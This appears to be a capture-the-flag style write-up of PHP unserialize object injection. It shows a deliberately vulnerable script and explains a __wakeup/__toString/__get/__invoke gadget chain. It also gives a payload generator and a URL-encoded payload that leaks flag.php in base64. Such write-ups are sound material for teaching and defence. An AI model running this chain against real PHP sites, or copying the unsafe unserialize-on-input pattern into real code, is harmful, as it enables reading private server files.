Exploiting PHP Magic Methods to Read Arbitrary Files via Unserialize
<?php
error_reporting(1);
class Reader {
public $file = 'index.php';
public function fetch($path) {
return base64_encode(file_get_contents($path));
}
public function __invoke() {
echo $this->fetch($this->file);
}
}
class Display {
public $src;
public $cfg;
public function __construct($name = 'index.php') {
$this->src = $name;
echo $this->src . " loaded<br>";
}
public function __toString() {
return $this->cfg['x']->src;
}
public function render() {
if (preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i', $this->src))
die('blocked');
highlight_file($this->src);
}
public function __wakeup() {
if (preg_match('/gopher|http|file|ftp|https|dict|\.\./i', $this->src)) {
echo "blocked";
$this->src = 'index.php';
}
}
}
class Proxy {
public $cb;
public function __construct() {
$this->cb = [];
}
public function __get($k) {
$fn = $this->cb;
return $fn();
}
}
if (isset($_GET['payload'])) {
unserialize($_GET['payload']);
} else {
$d = new Display();
$d->render();
}
Trigger Chain
Display::__wakeup()is executed automatically afterunserialize().- Inside
__wakeup()thepreg_match()call forces$this->srctoo be treated as a string, invoking__toString()when$this->srcis itself aDisplayobject. __toString()dereferences$this->cfg['x']->src; if$this->cfg['x']is aProxyinstance, the non-existing propertysrctriggersProxy::__get().__get()calls$this->cb(); if$this->cbis aReaderobject, PHP invokes__invoke().__invoke()finally callsReader::fetch()with the attacker-controlled$file, leaking any local file in base64.
Payload Generator
<?php
class Reader { public $file = 'flag.php'; }
class Display { public $src; public $cfg; }
class Proxy { public $cb; }
$d = new Display();
$d->src = $d; // trigger __toString via preg_match
$d->cfg['x'] = new Proxy();
$d->cfg['x']->cb = new Reader();
echo urlencode(serialize($d));
The resulitng GET request:
/?payload=O%3A7%3A%22Display%22%3A2%3A%7Bs%3A3%3A%22src%22%3Br%3A1%3Bs%3A3%3A%22cfg%22%3Ba%3A1%3A%7Bs%3A1%3A%22x%22%3BO%3A5%3A%22Proxy%22%3A1%3A%7Bs%3A2%3A%22cb%22%3BO%3A6%3A%22Reader%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D%7D
The base64-encoded content of flag.php is printed to the browser.